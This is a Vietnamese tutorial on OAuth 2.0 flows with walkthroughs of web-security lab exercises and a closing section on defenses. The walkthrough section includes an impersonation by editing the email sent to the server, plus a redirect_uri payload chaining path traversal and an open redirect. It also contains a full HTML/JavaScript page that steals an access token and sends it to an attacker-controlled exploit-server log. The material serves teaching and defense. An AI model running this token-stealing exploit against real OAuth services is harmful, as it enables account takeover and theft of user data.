“Mọi kiến thức trong bài viết chỉ phục vụ mục đích giáo dục và an toàn thông tin.
Không được sử dụng để tấn công hệ thống mà bạn không sở hữu hoặc không được phép kiểm thử.”

I. Giới thiệu

OAuth 2.0, phiên bản mới nhất của giao thức OAuth (Open Authorization), đã nối tiếp và thay thế OAuth 1.0 từ năm 2012. OAuth 2.0 là một tiêu chuẩn được tạo ra để cho phép các trang web và ứng dụng thực hiện hành động thay mặt người dùng, truy cập vào các tài nguyên được lưu trữ trên các ứng dụng web khác.

Vậy tại sao lại sử dụng cái này?

Ví dụ:

Bạn có hai ứng dụng, tạm gọi là app1 và app2. App1 chứa danh sách bạn bè của end-user, App2 có chức năng tự động gửi lời chúc sinh nhật. Bạn muốn App2 có thể tự động gửi lời chúc sinh nhật cho danh sách bạn bè của end-user ở App1, làm cách nào để App2 lấy được danh sách bạn bè ở App1?

End-user tự nhập lại danh sách bạn bè ở App1 vào App2. Nếu số lượng bạn bè lớn lên tới vài trăm người thì phải làm sao? Liệu end-user có bỏ app của bạn mà đi sang app khác không?
Bạn cho phép App2 export danh sách bạn bè, sau đó import vào App1. Nếu sau thời điểm import, số lượng bạn bè tăng lên thì end-user phải import lại? Nếu App2 không có chức năng export danh sách bạn bè, App1 không có chức năng import danh sách bạn bè thì sao? Liệu end-user có bỏ app của bạn mà đi?
App2 lưu lại username/password khi end-user đăng nhập và sử dụng nó để đăng nhập vào App1 mỗi khi cần cần truy cập tới danh sách bạn bè. Cách này chỉ hoạt động được khi end-user dùng chung username/password ở cả App1 và App2. Tuy nhiên:
Cách này sẽ không bảo mật. Ngoài ra mỗi lần end-user thay đổi mật khẩu ở App1 thì họ phải qua App2 để thay đổi mật khẩu cho đồng nhất.
Vì App2 có mật khẩu và tài khoản của App1 nên App2 có thể truy cập được nhiều thông tin hơn ngoài danh sách bạn bè. Giả sử có những thông tin trong App1 như hình ảnh nhạy cảm cũng bị App2 truy cập. Như vậy sẽ dẫn tới nhiều hệ lụy phiền toái sau này.
Ba cách này dường như không khả thi. Trên thực tế người ta sẽ giải quyết vấn đề này bằng cách để App2 lấy danh sách bạn bè từ App1 chỉ cần người end-user xác nhận cho phép App2 truy cập vào danh sách bạn bè của App1. Lúc đó App2 chỉ được phép lấy danh sách bạn bè, những thông tin khác hoàn toàn không có quyền truy cập. Nó cũng giống với việc khi bạn tạo file trong Draw.io và chọn vùng lưu trữ là google drive, popup yêu cầu xác nhận quyền truy cập vào google drive sẽ hiện lên. Đây là một ví dụ điển hình về OAuth 2.0

Lý do đơn giản là-> trang web của chúng ta sử dụng cách đăng nhập nhanh này trước tiên chắc chắn là thuận tiện, sau đó trang web của bên thứ 3 và trang web hiện tại không được tin tưởng lẫn nhau và không thể chuyển thông tin người dùng cho bên thứ 3 .

Vì vậy nhìn chung OAuth cho phép người dùng cấp quyền truy cập mà không để lộ thông tin xác thực đăng nhập của họ cho ứng dụng yêu cầu. Điều này có nghĩa là người dùng có thể chọn dữ liệu mà họ muốn chia sẻ mà không cần phải giao mật khẩu tài khoản của mình cho bên thứ 3.

OAuth 2.0 mang đến khả năng cấp quyền truy cập cho các ứng dụng, cho phép chúng chia sẻ tài nguyên với nhau mà không cần yêu cầu người dùng cung cấp thông tin đăng nhập của họ. Điều này không chỉ giúp tiết kiệm thời gian mà còn loại bỏ sự phiền toái của việc phải nhớ hàng loạt tài khoản đăng nhập trên nhiều ứng dụng khác nhau.

II. Cách hoạt động

Các loại Grant Type trong Oauth2

Loại cấp phép OAuth xác định trình tự chính xác của các bước liên quan đến quy trình OAuth. Loại cấp phép cũng ảnh hưởng đến cách ứng dụng khách giao tiếp với dịch vụ OAuth ở mỗi giai đoạn, bao gồm cả cách gửi mã thông báo truy cập. Vì lý do này, các loại cấp phép thường được gọi là “OAuth flows”

Dịch vụ OAuth phải được định cấu hình để hỗ trợ một loại cấp phép cụ thể trước khi ứng dụng khách có thể bắt đầu luồng tương ứng. Ứng dụng khách chỉ định loại cấp phép mà nó muốn sử dụng trong yêu cầu ủy quyền ban đầu mà nó gửi đến dịch vụ OAuth.

Có một số loại trợ cấp khác nhau, mỗi loại có mức độ phức tạp và cân nhắc bảo mật khác nhau. Chúng ta sẽ tập trung vào các loại authorization code và implicit vì phổ biến.

Authorization Code grant

Implicit Grant

Để cho dễ hiểu, chúng ta minh họa trực tiếp bằng ví dụ, trước hết cần phân biệt rõ ràng từng vai trò, gồm 4 phần:

• Resource Owner(Chủ sở hữu tài nguyên): là người dùng
• Resource Server: trang web mà chúng ta muốn đăng nhập nhanh
• User Agent: đề cập đến trình duyệt
• Authorization Server(máy chủ xác thực): máy chủ ủy quyền của bên thứ 3 (chẳng hạn như máy chủ ủy quyền của google) là máy chủ được các nhà cung cấp dịch vụ sử dụng riêng để xử lý xác thực và ủy quyền. Sau khi xác thực thành công, nó sẽ cấp xác minh danh tính chủ sở hữu tài nguyên mã thông báo truy cập cho khác hàng để nhận được ủy quyền.
• client_id: đại diện cho máy chủ của trang web hiện tại

OAuth 2.0 hoạt động như thế nào?

Có rất nhiều cách khác nhau để thực hiện quy trình OAuth trong thực tế. Chúng được gọi là flows và grant types . Chúng ta sẽ tập trung vào các loại cấp phép authorization code và implicit vì đây là những loại cấp phép phổ biến nhất cho đến nay. Nói rộng ra, cả hai loại trợ cấp này đều bao gồm các giai đoạn sau:

1. Ứng dụng khách yêu cầu quyền truy cập vào một tập hợp con dữ liệu của người dùng, chỉ định loại cấp quyền nào họ muốn sử dụng và loại quyền truy cập nào họ muốn.
2. Người dùng được nhắc đăng nhập vào dịch vụ OAuth và đồng ý rõ ràng với quyền truy cập được yêu cầu.
3. Ứng dụng khách nhận được mã thông báo truy cập duy nhất chứng minh rằng họ được người dùng cho phép truy cập dữ liệu được yêu cầu. Chính xác thì điều này xảy ra như thế nào sẽ khác nhay tùy vào grant type.
4. Ứng dụng khách sử dụng mã thông báo truy cập này để thực hiện gọi API tìm nạp dữ liệu liên quan từ resource server.

Phạm vi (scope) trong OAuth

Đối với bất kỳ loại cấp phép OAuth nào, client phải chỉ định dữ liệu nào nó muốn truy cập và loại hoạt động nào nó muốn thực hiện. Nó thực hiện điều này bằng cách sử dụng tham số phạm vi của yêu cầu ủy quyền được gửi đến dịch vụ OAuth.

Đối với OAuth cơ bản, scope mà client có thể yêu cầu quyền truy cập là duy nhất cho mỗi dịch vụ OAuth. Vì scope chỉ là một chuỗi văn bản tùy ý nên định dạng có thể khác nhau đáng kể giữa các nhà cung cấp. Một số thậm chí còn sử dụng URI đầy đủ làm tên phạm vi, tương tự như REST API.

Ví dụ: khi yêu cầu quyền tủy cập đọc vào danh sách liên hệ của người dùng, tên phạm vi có thể có bất kỳ dạng nào sau đây , tùy thuộc vào dịch vụ OAuth đang sử dụng:

scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly

Authorization code grant type

Loại này khá phức tạp nhưng thực tế nó đơn giản hơn chúng ta nghĩ khi đã quen một số cơ bản.

Client và OAuth service trước tiên sử dụng chuyển hướng để trao đổi một loạt yêu cầu HTTP dựa trên trình duyệt để bắt đầu flow. Người dùng được hỏi liệu họ có đồng ý với quyền truy cập được yêu cầu hay không. Nếu họ chấp nhận, ứng dụng khách sẽ được cấp authorization code. Sau đó , client application sẽ trao đổi mã này với OAuth service để nhận accesstoken mà chúng có thể sử dụng để thực hiện lệnh gọi API nhằm tìm nạp dữ liệu người dùng có liên quan.

Tất cả giao diện diễn ra từ quá trình trao đổi code/token trở đi sẽ được gửi từ máy chủ này đến máy chủ khác qua kênh ngược an toàn, được cấu hình sẵn và dó đó , người dùng cuối sẽ không nhìn thấy được. kênh bảo mật này được thiết lập khi ứng dụng khách đăng ký lần đầu với OAuth service. Tại thời điểm này, client_secret cũng được tạo mà ứng dụng khách phải sử dụng để xác thực chính nó khi gửi các yêu cầu từ máy chủ này đến máy chủ khác.

Vì dữ liệu nhạy cảm nhất (access token và dữ liệu người dùng) không được gửi qua trình duyệt nên loại cấp phép này được cho là an toàn nhất.

1. Authorization request
   Ứng dụng khách gửi request đến dịch vụ OAuth /authorization để yêu cầu quyền truy cập vào dữ liệu người dùng cụ thể. Lưu ý rằng endpoint /auth có thể khác nhau giữa các nhà cung cấp. Tuy nhiên, ta luôn có thể xác định endpoint dựa trên các tham số được sử dụng trong yêu cầu.

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

Trong đó:

• client_id: tham số bắt buộc chứa mã định danh duy nhất của ứng dụng khách. giá trị này được tạo khi ứng dụng khách đăng ký dịch vụ OAuth.
• redirect_uri: URI mà trình duyệt của người dùng sẽ được chuyển hướng tới khi gửi mã ủy quyền đến ứng dụng khách. Điều này còn được gọi là URI callback hoặc callback endpoint. Nhiều cuộc tấn công OAuth dựa trên việc khai thác lỗ hổng trong quá trình xác thực tham số này.
• response_type: xác định loại phản hồi mà ứng dụng khách đang mong đợi và do đó, flow nào nó muốn bắt đầu . đối với loại mã ủy quyền, giá trị phải là code
• scope: được dùng để chỉ định tập hợp con dữ liệu của người dùng mà ứng dụng khách muốn truy cập. Lưu ý rằng đây có thể là phạm vi tùy chỉnh do nhà cung cấp OAuth đặt
• state: Lưu trữ giá trị duy nhất, không thể đoán được gắn với phiên hiện tại trên ứng dụng khách. Dịch vụ OAuth sẽ trả về giá trị chính xác này trong phản hồi cùng với authorization code.

2. User login and consent
   Khi máy chủ ủy quyền nhận được request, nó sẽ chuyển hướng người dùng đến trang đăng nhập, nơi họ sẽ được nhắc đăng nhập vào tài khoản của mình với nhà cung cấp OAuth, vì dụ: đây thường là tài khoản mạng xã hội của họ.

Sau đó, họ sẽ được cung cấp danh sách dữ liệu mà ứng dụng khách muốn truy cập. Điều này dựa trên phạm vi được xác định trong request ủy quyền. Người dùng có thể chọn có đồng ý với quyền truy cập này hay không.

Điều qusn trọng cần lưu ý là khi người dùng đã phê duyệt một phạm vi nhất định cho ứng dụng khách, bước này sẽ tự động hoàn thành miễn là người dùng vẫn có phiên hợp lệ với dịch vụ OAuth. Nói cách khác, trong lần đầu tiên người dùng chọn Đăng nhập bằng social media , họ sẽ cần đăng nhập thủ công và đưa ra sự đồng ý, nhưng nếu sau đó họ truy cập lại ứng dụng, họ thường có thể đăng nhập bằng một cái nhấp chuột.

3. Authorization code grant

Nếu người dùng đồng ý với quyền truy cập được yêu cầu, trình duyệt của họ sẽ được chuyển hướng đến endpoint /callback đã được chỉ định trong tham số redirect_uri của request authorization. Tùy thuộc vào cấu hình, nó cũng có thể gửi tham số trạng thái có cùng giá trị như trong yêu cầu ủy quyền.

GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com

4. Access token request
   Sau khi ứng dụng khách nhận được authorization code, nó cần đổi mã đó lấy access token. Để thực hiện điều này nó sẽ gửi một POST request từ server-to-server đến endpoint /token của dịch vụ OAuth. tất cả thông tin liên lạch từ thời điểm này trở đi diễn ra trong một kênh an toàn và do đó , kẻ tấn công thường không thể quan sát hoặc kiểm soát được.

POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8

Các tham số mới:

• client_secret: ứng dụng khách phải tự xác thực bằng cách bao gồm secretkey được chỉ định khi đăng ký dịch vụ OAuth.
• grant_type: được sử dụng để đảm bảo endpoint biết loại cấp phép nào mà ứng dụng khách muốn sử dụng. Trong trường hợp này, giá trị này phải đặt thành authorization_code

5. Access token grant
   dịch vụ OAuth sẽ xác thực access token request. Nếu mọi thứ đều như mong đợi , máy chủ sẽ phản hồi bằng cách cấp cho ứng dụng khách mã access toekn với phạm vi được yêu cầu.

{
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid profile",
    …
}

6. API call
   Bây giờ ứng dụng khách đã có access token, cuối cùng nó có thể lấy dữ liệu của người dùng từ máy chủ tài nguyên. Để thực hiện việc này, nó thực hiện lệnh gọi API tới endpoint /userinfo của dịch vụ OAuth. Mã thông báo truy cập được gửi trong Authoration: Bearer để chứng minh rằng ứng dụng khách có quyền truy cập dữ liệu này

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5

7. Resource grant
   Máy chủ tài nguyên phải xác minh rằng mã thông báo hợp lệ và nó thuộc về ứng dụng khách hiện tại. Nếu vậy, nó sẽ phản hồi bằng cách gửi tài nguyên được yêu cầu, tức là dữ liệu của người dùng dựa trên phạm vi của mã thông báo truy cập.

{
    "username":"carlos",
    "email":"carlos@carlos-montoya.net",
    …
}

Ứng dụng khách cuối cùng có thể sử dụng dữ liệu này cho mục đích đã định. Trong trường hợp xác thực OAuth, thông thường nó sẽ được sử dụng là ID để cấp cho người dùng một phiên xác thực, giúp họ đăng nhập một cách hiệu quả.

OAuth authentication

Mặc dù ban đầu không nhắm mục đíhc này nhưng OAuth cũng đã phát triển thành một phương tiện xác thực người dùng. Ví dụ: bạn có thể quan với tùy chọn mà nhiều trang web cung cấp để đăng nhập bằng tài khoản mạng xã gội hiện có của bạn thay vì phải đăng ký với trang web hiện tại. Bất kỳ khi nào nhìn thấy tùy chọn này, rất có thể nó được xây dựng trên OAuth 2.0

Đối với cơ chế xác thực OAuth, các luồng OAuth cơ bản phần lớn vẫn giữ nguyên ; sự khác biệt chính là cách ứng dụng khách sử dụng dữ liệu mà nó nhận được. từ góc độ người dùng cuối, kết quả của xác thực OAuth là một cái gì đó giống như SSO dựa trên SAML.

Xác thực OAuth thường được triển khai như sau:

1. Người dùng chọn tùy chọn đăng nhập bằng tài khoản social media. Sau đó, ứng dụng khách sử dụng dịch vụ OAuth của trang mạng xã hội để yêu cầu quyền truy cập vào một số dữ liệu mà họ có thể sử dụng để nhận dạng người dùng. Ví dụ: đây óc thể là địa chỉ email được đăng ký với tài khoản của họ.
2. Sau khi nhận được mã access token, ứng dụng khách sẽ reqyest dữ liệu từ máy chủ tài nguyên, thường là từ endpoint /userinfo
3. Sau khi nhận được dữ liệu, ứng dụng khách sẽ sử dụng dữ liệu đó thay cho tên người dùng để đăng nhập người dùng. Mã thông báo truy cập mà nó nhận được từ máy chủ ủy quyền thường được sử dụng thay vì mật khẩu truyền thống.

III. Các ví dụ tấn công giao thức OAuth

Lab này sử dụng dịch vụ OAuth để cho phép người dùng đăng nhập bằng tài khoản mạng xã hội của họ. Việc xác thực thiếu sót của ứng dụng khách khiến kẻ tấn công có thể đăng nhập vào tài khoản của người dùng khác mà không cần biết mật khẩu của họ.
Để giải quyết bài lab này, đăng nhập vào tài khoản của người dùng carlos và mail là carlos@carlos-montoya.net

còn đây là thông tin tài khoản xã hội của người dùng hiện tại: wiener:peter

Click vào My account để chuyển hướng sang login bằng tài khoản mạng xã hội

Lúc này, nó sẽ gửi một GET request tới /auth
với tham số client_id, redirect_uri, reply_type, nonce, scope. điều này cho thấy ứng dụng web đang sử dụng OAuth

Nhớ lại quá trình authorization code grant type

Nhớ lại quá trình implicit grant type

Bây giờ forward authorization requesrt

đây là sau khi login

Trong giao diện này, người dùng có thể chọn có đồng ý với quyền truy cập này hay không. Nhấn Continue để đồng ý truy cập.

Nếu người dùng đồng ý với quyền truy cập được yêu cầu, dịch vụ OAuth sẽ chuyển hướng tới trình duyệt người dùng . và tạo ra mã access token

ví dụ:

https://0ae100d504e5e3148229840000a40011.web-security-academy.net/oauth-callback#access_token=UjZ_NAcCoe767MEp1OOHFLS1nhnoEHudkS01R6Ut8-u&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

• API call

Sau khi ứng dụng khách đã trích xuất thành công access token từ đoạn URL trên, ứng dụng này có thể sử dụng mã thông báo đó để thực hiện gọi API tới điểm cuối /me của dịch vụ Oauth.

• Resource grant
  Máy chủ tài nguyên phải xác minh rằng access token hợp lệ và nó thuộc về ứng dụng khách hiện tại. Nếu vậy, nó sẽ phản hồi bằng cách gửi tài nguyên được yêu cầu, tức là dữ liệu của người dùng dựa trên phạm vi được liên kết với mã thông báo truy cập:

ứng dụng khách cuối cùng có thể sử dụng dữ liệu này cho mục đích đã chỉ định từ trước. Trong trường hợp xác thực OAuth, thông thường nó sẽ được sử dụng làm ID để cấp cho người dùng một phiên xác thực , giúp họ đăng nhập một cách hiệu quả:

• Khai thác

Bây giờ ta biết được Oauth của lab này triển khai dưới dạng implicit grant type, chủ yếu được đề xuất cho các ứng dụng web single-page.

Trong luồng implicit , POST requets này được hiển thị cho kẻ tấn công thông qua trình duyệt của chúng. do đó, hành vi này có thể dẫn đến lỗ hổng nghiêm trọng nếu ứng dụng khách không kiểm tra xem access token truy cập có khớp với dữ liệu khác trong request hay koong.

Trường hợp này kẻ tấn công chỉ cần thay đổi các tham số gửi tới máy chủ để mạo danh một người dùng khác:

bây giờ sửa lại dữ liệu này thành của carlos

Thành công khai thác lỗ hổng này.

Leak authorization codes and access token

Lỗ hổng nổi tiếng nhất liên quan đến OAuth chính là cấu hình dịch vụ OAuth cho phép kẻ tấn công đánh cắp authorization code và access token được liên kết với người dùng khác.

Bằng cách đánh cắp mã thông báo này, kẻ tấn công có thể truy cập vào dữ liệu nạn nhân. Cuối cùng , điều này hoàn toàn có thể xâm phạm tài khoản của họ – kẻ tấn công có thể đăng nhập với tư cách là máy nạn nhân.

Tùy thuộc vào loại cấp phép, code hoặc access token sẽ được gửi qua trình duyệt của người dùng đến endpoint /callback được chỉ định trong tham số redirect_uri của request ủy quyền.

Nếu dịch vụ OAuth không xác thực đúng URI này , kẻ tấn công có thể thực hiện một cuộc tấn công giống CSRF, lừa người dùng nạn nhân khởi tạo luồng OAuth để gửi mã token hoặc access token đến redirect_uri do kẻ tấn công kiểm soát.

Lưu ý: việc sử dụng state hoặc nonce không thể chặn được các cuộc tấn công này vì kẻ tấn công có thể tạo ra các giá trị mới từ trình duyệt của họ.

lab

Vẫn tiếp tục là ứng dụng web có chức năng đăng nhập như lúc trước

Click vào link đăng nhập

Như ta có thể thấy, khi chúng ta nhấp vào My account, nó sẽ chuyển hướng đăng nhập bằng tài khoản social media, có nghĩa đây là một xác thực OAuth.

Trong request /auth có một số tham số như sau:

• client_id=mo7xdvwgrmanjzk97vdtp
• redirect_uri=https://0a1300de03cf1a35882ebfb0008200d6.web-security-academy.net/oauth-callback
• response_type=code
• scope=openid%20profile%20email

Tham số response_type cho biết nó đang dùng kiểu cấp quyền implicit

Tiếp tục continue OAuth flow:

Như ta có thể thấy, request /me có apikey. với thông tin trên ta có thể sửa đổi tham số redirect_uri để rò rỉ apikey.

Bây giờ quay lại, xong đó thực hiện đăng nhập lại tài khoản của mình. Sau đó sửa đổi redirect_uri trong endpoint /auth thành uri của máy khai thác.

lần thử đầu tiên , thay thế bằng một url khác nhưng không thành công

thử với lỗ hổng parameter pollution

cũng không thành công

sau khi thử lại nhiều lần, phát hiện thấy ở chỗ này có lỗ hổng path traversal

tuy nhiên, vẫn chưa thể làm rò rỉ được mã apikey. Cần tìm thêm một lỗ hổng khác để thực hiện điều này, ví dụ như open redirect

Sau khi xem qua website thì thấy có một lỗ hổng open redirect tại vị trí này

Khi click vào Next post, nó sẽ gửi requets tới /post/next với tham số path

Bây giờ đã đủ điều kiện để khai thác, viết một script để attack thôi

payload đơn giản sẽ trông như sau:

redirect_uri=https://0a86003303e5086a82c33dcf009c00dc.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ab400c304dc91a2c26dc6f80184009b.exploit-server.net/log

<html>
    <head>
    </head>
    <body>
        <script>
            // Check the URL fragment exist or not
            if (document.location.hash == ''){
                // If not exist, redirect to the payload, so we can extract the access_token
                window.location.replace('https://oauth-0ada00a904369151c2bdc54b02480071.web-security-academy.net/auth?client_id=umg56k6htndwh95zhjmgd&redirect_uri=https://0a86003303e5086a82c33dcf009c00dc.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ab400c304dc91a2c26dc6f80184009b.exploit-server.net/exploit&response_type=token&nonce=171654770&scope=openid%20profile%20email');
            } else {
                // Create a new object called urlSearchParams, which extract the URL fragment
                const urlSearchParams = new URLSearchParams(document.location.hash.substr(1));
                // Extract the access_token
                var token = urlSearchParams.get('access_token');

                // Redirect to /log with the access_token value
                window.location.replace('/log?access_token=' + token);
            };
        </script>
    </body>
</html>

kiểm tra log thấy token đã gửi về

sửa lại phần header Authorization: Bearer <access token> trong endpoint /me để lấy được apikey

thành công giải quyết bài lab

IV. Bảo vệ trước các lỗ hổng Oauth 2.0

Phía Service

• Yêu cầu ứng dụng khách đăng ký whitelist gồm redirect_uri hợp lệ. Điều này ngăn chặn kẻ tấn công truy cập vào các trang khác.
• Thực thi việc sử dụng tham số trạng thái. giá trị của nó phải được ràng buộc với phiên của người dùng. giúp bảo vệ khỏi các cuộc tấn công CSRF.
• trên máy chủ tài nguyên, đảm bảo xác minh access token đã được cấp cùng client_id thực hiện yêu cầu.

Phía client

• đảm bảo hiểu chi tiết hoạt động của OAuth trước khi triển khai.
• Sử dụng tham số state để đảm bảo an toàn
• Gửi tham số redirect_uri không chỉ đến điểm cuối /authorization mà còn đến điểm cuối /token
• áp dụng một số tiêu chuẩn có sẵn để đảm bảo an toan như RFC 7636 (chặn và chống rò rỉ token)

Tham khảo:

• https://datatracker.ietf.org/doc/html/rfc6749
• https://viblo.asia/p/tu-oauth-den-openid-connect-gAm5y7JkZdb
• Em Tài